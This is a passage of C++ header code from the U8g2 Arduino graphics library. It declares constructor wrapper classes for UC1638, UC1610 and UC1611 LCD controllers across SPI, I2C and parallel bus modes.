*rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1638_240X128_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1638_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1638_240X128_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1638_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1638_240X128_F_6800 : public U8G2 { public: U8G2_UC1638_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_F_8080 : public U8G2 { public: U8G2_UC1638_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1638_240X128_1_SW_I2C : public U8G2 { public: U8G2_UC1638_240X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_240X128_1_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_240X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_240X128_2_SW_I2C : public U8G2 { public: U8G2_UC1638_240X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_240X128_2_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_240X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1638_240X128_F_SW_I2C : public U8G2 { public: U8G2_UC1638_240X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1638_240X128_F_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1638_240X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1638_240X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1638_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1610_EA_DOGXL160_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_6800 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_8080 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_6800 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_8080 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_6800 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_8080 : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_SW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1610_EA_DOGXL160_1_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1610_EA_DOGXL160_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1610_EA_DOGXL160_2_SW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1610_EA_DOGXL160_2_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1610_EA_DOGXL160_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1610_EA_DOGXL160_F_SW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1610_EA_DOGXL160_F_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1610_EA_DOGXL160_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1610_EA_DOGXL160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EA_DOGM240_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGM240_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGM240_1_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_1_8080 : public U8G2 { public: U8G2_UC1611_EA_DOGM240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EA_DOGM240_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EA_DOGM240_2_6800 : public U8G2 { public: U8G2_UC1611_EA_DOGM240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EA_DOGM240_2_8080 : public U8G2 { public: 